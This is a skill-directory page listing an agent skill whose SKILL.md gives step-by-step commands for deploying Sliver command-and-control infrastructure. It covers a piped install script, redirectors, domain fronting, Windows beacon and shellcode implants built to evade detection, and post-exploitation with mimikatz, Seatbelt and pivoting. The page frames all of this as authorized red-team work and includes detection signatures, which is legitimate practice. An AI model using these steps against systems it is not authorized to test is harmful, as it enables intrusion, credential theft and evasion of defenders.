SkillAgentSearch skills...

building-c2-infrastructure-with-sliver-framework

Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations

Install / Use

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-infrastructure-with-sliver-framework

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

91/100

Category

Security

Supported Platforms

Zed

Our assessment of building-c2-infrastructure-with-sliver-framework

building-c2-infrastructure-with-sliver-framework scores 91/100 on our quality scale, 96th of 461 Security skills we index (top 21%).

Its SKILL.md is 8.0 KB long, well organised into 15 sections and no code examples: a thorough specification that gives an agent plenty to work with.

With 33,340 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
13/20
Description
15/15
Adoption
19/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 25 days ago, so building-c2-infrastructure-with-sliver-framework is actively maintained.
  • It is released under the Apache-2.0 license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands (1 minor note below).

  • noteInstalls by piping a downloaded script into a shellline 83
    curl https://sliver.sh/install | sudo bash

Automated pattern scan on 2026-09-25. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

building-c2-infrastructure-with-sliver-framework compared with similar skills

All 4 of these similar skills score higher than building-c2-infrastructure-with-sliver-framework; compare them before choosing.

SkillScoreStarsUpdatedFormat
building-c2-infrastructure-with-sliver-framework (this skill)by mukul9759133.3k25d agoSKILL.md
algorithmic-artby anthropics100177.9k2d agoSKILL.md
pptxby anthropics100177.9k2d agoSKILL.md
designby nextlevelbuilder100130.2k3d agoSKILL.md
ui-ux-pro-maxby nextlevelbuilder100130.2k3d agoSKILL.md

Frequently asked questions

How do I install building-c2-infrastructure-with-sliver-framework?
Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-infrastructure-with-sliver-framework. The install tabs above show the steps for each supported agent.
Which AI agents does building-c2-infrastructure-with-sliver-framework work with?
It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
Is building-c2-infrastructure-with-sliver-framework safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands (1 minor note below). It is Apache-2.0-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is building-c2-infrastructure-with-sliver-framework still maintained?
The repository was last updated 25 days ago, so building-c2-infrastructure-with-sliver-framework is actively maintained.

name: building-c2-infrastructure-with-sliver-framework description: Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection. domain: cybersecurity subdomain: red-teaming tags:

  • red-team
  • c2-framework
  • sliver
  • command-and-control
  • adversary-simulation
  • infrastructure
  • post-exploitation version: '1.0' author: mahipal license: Apache-2.0 d3fend_techniques:
  • File Metadata Consistency Validation
  • Certificate Analysis
  • Application Protocol Command Analysis
  • Content Format Conversion
  • File Content Analysis nist_csf:
  • ID.RA-01
  • GV.OV-02
  • DE.AE-07 mitre_attack:
  • T1071.001
  • T1071.004
  • T1573.002
  • T1090.002
  • T1105
  • T1572

Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

  • When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
  • When establishing security controls aligned to compliance requirements
  • When building or improving security architecture for this domain
  • When conducting security assessments that require this implementation

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy a Sliver team server on hardened cloud infrastructure
  • Configure HTTPS, mTLS, DNS, and WireGuard listeners
  • Generate implants (beacons and sessions) for target platforms
  • Set up NGINX or Apache redirectors between implants and the team server
  • Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
  • Configure multi-operator access with certificate-based authentication
  • Establish operational security controls for C2 communications

MITRE ATT&CK Mapping

  • T1071.001 - Application Layer Protocol: Web Protocols
  • T1071.004 - Application Layer Protocol: DNS
  • T1573.002 - Encrypted Channel: Asymmetric Cryptography
  • T1090.002 - Proxy: External Proxy (Redirectors)
  • T1105 - Ingress Tool Transfer
  • T1132.001 - Data Encoding: Standard Encoding
  • T1572 - Protocol Tunneling

Workflow

Phase 1: Team Server Deployment

  1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
  2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
  3. Install Sliver using the official install script:
    curl https://sliver.sh/install | sudo bash
    
  4. Start the Sliver server daemon:
    systemctl start sliver
    # Or run interactively
    sliver-server
    
  5. Generate operator configuration files for team members:
    new-operator --name operator1 --lhost <team-server-ip>
    

Phase 2: Listener Configuration

  1. Configure an HTTPS listener with a legitimate SSL certificate:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. Configure a DNS listener for fallback C2:
    dns --domains c2dns.example.com --lport 53
    
  3. Configure mTLS listener for high-security sessions:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. Configure WireGuard listener for tunneled access:
    wg --lport 51820
    

Phase 3: Redirector Setup

  1. Deploy a separate VPS as a redirector (positioned between targets and team server)
  2. Install and configure NGINX as a reverse proxy:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. Configure iptables rules on the team server to only accept connections from the redirector:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

  1. Generate an HTTPS beacon implant:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. Generate a DNS beacon for restricted networks:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. Generate a shellcode payload for injection:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. Configure beacon jitter and callback intervals:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

Phase 5: Post-Exploitation Operations

  1. Interact with active beacons/sessions:
    beacons        # List active beacons
    use <beacon-id> # Interact with a beacon
    
  2. Execute post-exploitation modules:
    ps              # Process listing
    netstat         # Network connections
    execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
    sideload /path/to/mimikatz.dll  # Load DLLs
    
  3. Set up pivots for internal network access:
    pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
    
  4. Use BOF (Beacon Object Files) for in-memory execution:
    armory install sa-ldapsearch  # Install from armory
    sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
    

Tools and Resources

| Tool | Purpose | Platform | |------|---------|----------| | Sliver Server | C2 team server and implant management | Linux/macOS/Windows | | Sliver Client | Operator console for team members | Cross-platform | | NGINX | Redirector and reverse proxy | Linux | | Certbot | Let's Encrypt SSL certificate generation | Linux | | Cloudflare | CDN and domain fronting | Cloud | | Armory | Sliver extension/BOF package manager | Built-in |

Detection Signatures

| Indicator | Detection Method | |-----------|-----------------| | Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings | | mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports | | DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic | | WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns | | Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |

Validation Criteria

  • [ ] Team server deployed and hardened with firewall rules
  • [ ] HTTPS listener configured with valid SSL certificate
  • [ ] DNS listener configured as fallback C2 channel
  • [ ] At least one redirector deployed between targets and team server
  • [ ] Multi-operator access configured with unique certificates
  • [ ] Implants generated for target operating systems
  • [ ] Beacon callback intervals and jitter configured for stealth
  • [ ] Post-exploitation modules tested (process listing, .NET assembly execution)
  • [ ] Pivot functionality validated for internal network access
  • [ ] All C2 traffic encrypted and passing through redirectors

Related Skills

View on GitHub
GitHub Stars33.3k
CategorySecurity
Updated25d ago
Forks4.0k

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions